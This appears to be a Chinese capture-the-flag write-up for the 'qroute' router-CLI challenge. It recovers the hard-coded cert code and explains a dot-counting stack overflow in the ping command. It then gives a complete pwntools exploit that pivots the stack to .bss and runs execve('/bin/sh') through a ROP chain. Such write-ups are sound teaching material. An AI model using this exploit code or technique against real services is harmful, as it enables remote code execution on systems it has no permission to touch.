cert认证部分
这题的认证部分和2023年ciscn的shellwego很像 甚至更简单一些
两个回显一个Router# 一个Router(config)# 按照经验我们先是要进入Router(config)#状态的
main__Router_handleCommand
main__Router_cert
runtime_memequal
也可以通过rc4解出来
cert 4ceb539da109caf8eea7
成功之后会赋值
在输入configure就可以成功认证了
漏洞分析
main__Router_exec
这个位置 v20+=v35+1 就是漏洞所在,那个for循环是吧每个点后面的读入v39[v20+1+j]中,因为有一个strings_genSplit()是以'.'来划分的,因此我们就可以通过不断的增加单个的'.'去增加v20的长度 以达到溢出的效果就可以绕过v35的长度的检测实现溢出
我们直接
exec ping host .0x100+b'a'\0x100去测试一下
结果发现根本找不到 调试发现没有进入while循环部分
而是进入了红色这一块区域,关注到这里有个call net_LookupIP 猜测是去寻找ip了,刚好还有一个功能点set 是来设置dns也就是在main__Router_set
分析过程和main__Router_cert一样因此我们set设置后 再试试
payload=b'.'*0x200+b'a'*0x10+b' '+b'1.1.1.1'
set_dns(payload)
payload=b'.'*0x200+b'a'*0x10
exec_ping(payload)
就可以进入while循环那部分了
成功劫持程序流
利用漏洞
通过一次溢出劫持程序流,由于gadget和长度的原因打法受到挺大的限制
我们只有0x3f的长度去写rop 虽然有syscall 但是现有的gadget 不足于在这个长度构造read 因此我们要用程序本身有的syscall_read 通过动态调试发现
syscall_read中经过两次参数的转换
可知最开进入的
rcx->rdi>rdx
rbx->rcx>rsi
rax->rbx->rdi
因此我们找到可以控制的gadget就可以执行read把栈迁移到bss段
然后读入rop就可以拿到shell了
exp如下:
#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
#context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
def dbg():
gdb.attach(mx)
#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./qroute"
mx = process(filename)
#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)
elf = ELF(filename)
libc=elf.libc
#初始化完成---------------------------------------------------------\
def exec_ping(payload):
rl("Router(config)# ")
sl(b'exec ping host '+payload)
def set_dns(payload):
rl("Router(config)# ")
sl(b'set dns '+payload)
dbg()
rl("Router# ")
sl(b'cert 4ceb539da109caf8eea7')
rl("Router# ")
sl(b'configure')
#-------
pop_rax_rbp = 0x0000000000405368
pop_rbx = 0x0000000000461dc1
pop_rcx = 0x0000000000433347
bss = 0x006102B0+0x200
pop_rbp = 0x0000000000401030#: pop rbp ; ret
sys_read = 0x0048DB60
leave_ret = 0x00000000004a721a
rop = p64(pop_rbp) + p64(bss)+ p64(pop_rcx) + p64(0x200) + p64(pop_rbx) + p64(bss) + p64(sys_read) + p64(leave_ret)[:7]
payload=b'.'*0x207+rop+b' '+b'1.1.1.1'
set_dns(payload)
payload=b'.'*0x207+rop
exec_ping(payload)
syscall = 0x004735A9 #mov rdi, rbx;syscall
payload = p64(0) + p64(pop_rax_rbp) + p64(0x3b) + p64(0) + p64(pop_rbx) + p64(bss+0x100) + p64(syscall)
sl(payload.ljust(0x100,b"\x00")+b"/bin/sh\x00")
inter()